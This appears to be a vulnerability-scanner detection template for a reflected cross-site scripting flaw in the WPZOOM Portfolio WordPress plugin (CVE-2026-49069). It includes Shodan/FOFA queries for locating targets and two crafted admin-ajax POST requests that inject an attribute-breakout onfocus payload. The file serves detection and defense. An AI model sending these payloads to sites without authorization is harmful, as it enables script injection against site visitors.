WPZOOM Portfolio <= 1.4.21 - Reflected Cross-Site Scripting

id: CVE-2026-49069

info:
  name: WPZOOM Portfolio <= 1.4.21 - Reflected Cross-Site Scripting
  author: aryu-ru
  severity: high
  description: |
    WPZOOM Portfolio <= 1.4.21 contains a reflected XSS caused by improper neutralization of input during web page generation, letting attackers execute scripts in victim's browser, exploit requires crafted request.
  impact: |
    Attackers can execute scripts in users' browsers, potentially stealing cookies or performing actions on behalf of users.
  remediation: |
    Update to the latest version of WPZOOM Portfolio.
  reference:
    - https://patchstack.com/database/wordpress/plugin/wpzoom-portfolio/vulnerability/wordpress-wpzoom-portfolio-plugin-1-4-21-cross-site-scripting-xss-vulnerability?_s_id=cve
    - https://www.exploit-db.com/exploits/52611
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49069
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2026-49069
    epss-score: 0.01171
    epss-percentile: 0.6557
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 3
    vendor: wpzoom
    product: wpzoom-portfolio
    shodan-query: http.html:"/wp-content/plugins/wpzoom-portfolio"
    fofa-query: body="/wp-content/plugins/wpzoom-portfolio"
  tags: cve,cve2026,wordpress,wp,wp-plugin,wpzoom,xss,unauth

variables:
  marker: "{{randstr}}"

flow: http(1) && (http(2) || http(3))

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - contains(body, "wpzoom-portfolio")
          - status_code == 200
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpzoom_load_more_items&offset=0&posts_data=%7B%22source%22%3A%22post%22%2C%22class%22%3A%22{{marker}}%27%20onfocus%3D%27alert(document.domain)%27%20autofocus%3D%27%22%7D

    matchers:
      - type: word
        part: body
        words:
          - "onfocus='alert(document.domain)'"
          - "wpzoom-ajax-portfolio-items"
        condition: and

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpzoom_load_more_items&offset=0&posts_data=%7B%22source%22%3A%22portfolio_item%22%2C%22class%22%3A%22{{marker}}%27%20onfocus%3D%27alert(document.domain)%27%20autofocus%3D%27%22%7D

    matchers:
      - type: word
        part: body
        words:
          - "onfocus='alert(document.domain)'"
          - "wpzoom-ajax-portfolio-items"
        condition: and
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